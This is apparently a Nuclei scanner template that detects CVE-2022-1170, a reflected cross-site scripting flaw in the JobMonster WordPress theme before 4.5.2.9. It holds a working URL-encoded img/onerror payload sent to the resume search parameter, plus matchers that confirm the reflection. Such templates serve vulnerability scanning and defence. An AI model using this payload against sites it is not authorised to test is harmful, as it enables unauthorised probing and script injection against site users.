id: CVE-2022-1170

info:
  name: JobMonster < 4.5.2.9 - Cross-Site Scripting
  author: Akincibor,ritikchaddha
  severity: medium
  description: |
    In the theme JobMonster < 4.5.2.9 there is a XSS vulnerability as the input for the search form is provided through unsanitized GET requests.
  reference:
    - https://wpscan.com/vulnerability/2ecb18e6-b575-4a20-bd31-94d24f1d1efc
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1170
    - https://themeforest.net/item/jobmonster-job-board-wordpress-theme/10965446
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-1170
    cwe-id: CWE-79
    epss-score: 0.001
    epss-percentile: 0.40139
    cpe: cpe:2.3:a:nootheme:jobmonster:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: nootheme
    product: jobmonster
    framework: wordpress
    publicwww-query: "/wp-content/themes/noo-jobmonster"
  tags: cve,cve2022,wpscan,wp,wp-theme,wordpress,xss,jobmonster,nootheme

http:
  - method: GET
    path:
      - '{{BaseURL}}/resumes/?s=%22%3E%3Cimg+src%3Dx+onerror%3Dalert(document.domain)%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<img src=x onerror=alert(document.domain)>'
          - 'noo-resume'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100a551a6a5d043824f1f081f435c36e185a7588f846053847a2b2893cebb0bff110221009aa7eecba751ec2f79619c6d494c7ec9742917de2f183e8dc71e2d26f2adccdf:922c64590222798bb761d5b6d8e72950